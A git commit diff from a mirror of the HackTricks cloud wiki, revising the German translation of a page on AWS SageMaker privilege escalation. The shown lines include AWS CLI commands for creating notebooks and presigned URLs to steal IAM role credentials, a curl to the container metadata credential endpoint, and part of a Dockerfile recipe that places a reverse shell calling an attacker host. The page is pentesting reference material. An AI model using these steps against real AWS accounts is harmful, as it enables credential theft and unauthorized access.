mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -12,12 +12,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notebook-Instanz enthält. Wir können dann die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notebook-Instanz zuzugreifen, sobald sie bereit ist:
|
||||
Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notizbuchinstanz enthält. Wir können dann die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notizbuchinstanz zuzugreifen, sobald sie bereit ist:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
Navigieren Sie mit dem Browser zur URL und klicken Sie auf \`Open JupyterLab\` im oberen rechten Bereich, scrollen Sie dann zum Tab “Launcher” und klicken Sie im Abschnitt “Other” auf die Schaltfläche “Terminal”.
|
||||
Navigiere zur URL mit dem Browser und klicke auf \`Open JupyterLab\` in der oberen rechten Ecke, scrolle dann zum Tab “Launcher” und klicke im Abschnitt “Other” auf die Schaltfläche “Terminal”.
|
||||
|
||||
Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzugreifen.
|
||||
|
||||
@@ -25,11 +25,11 @@ Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzu
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Wenn bereits Jupyter **Notebooks darauf ausgeführt werden** und Sie sie mit `sagemaker:ListNotebookInstances` auflisten können (oder sie auf andere Weise entdecken). Sie können **eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie im vorherigen Verfahren angegeben**.
|
||||
Wenn bereits Jupyter **Notebooks darauf laufen** und du sie mit `sagemaker:ListNotebookInstances` auflisten kannst (oder sie auf andere Weise entdecken kannst). Du kannst **eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**Potenzielle Auswirkungen:** Privesc auf die mit der sagemaker-Service-Rolle verbundene Rolle.
|
||||
**Potenzielle Auswirkungen:** Privesc auf die mit der sagemaker-Dienstrolle verbundene Rolle.
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
@@ -49,16 +49,16 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, **ein beliebiges Container** darauf ausführen mit einer **angehängten Rolle**. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.
|
||||
Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, **einen beliebigen Container** darauf ausführen und eine **angehängte Rolle** verwenden. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen.
|
||||
|
||||
> [!WARNING]
|
||||
> Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die rev shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
|
||||
> Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die Rev-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).
|
||||
>
|
||||
> ```bash
|
||||
> # Docker-Image erstellen
|
||||
> mkdir /tmp/rev
|
||||
> ## Beachten Sie, dass der Trainingsjob ein ausführbares Programm namens "train" aufrufen wird
|
||||
> ## Deshalb lege ich die rev shell in /bin/train
|
||||
> ## Deshalb lege ich die Rev-Shell in /bin/train
|
||||
> ## Setzen Sie die Werte von <YOUR-IP-OR-DOMAIN> und <YOUR-PORT>
|
||||
> cat > /tmp/rev/Dockerfile <<EOF
|
||||
> FROM ubuntu
|
||||
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen **Hyperparameter-Trainingsjob** zu erstellen, **einen beliebigen Container** darauf auszuführen und eine **angehängte Rolle** zu verwenden.\
|
||||
&#xNAN;_I habe nicht ausgebeutet wegen Zeitmangel, sieht aber ähnlich aus wie die vorherigen Exploits, zögere nicht, einen PR mit den Ausnutzungsdetails zu senden._
|
||||
_Ich habe es aufgrund von Zeitmangel nicht ausgenutzt, aber es sieht ähnlich aus wie die vorherigen Exploits. Fühlen Sie sich frei, einen PR mit den Ausnutzungsdetails zu senden._
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
Reference in New Issue
Block a user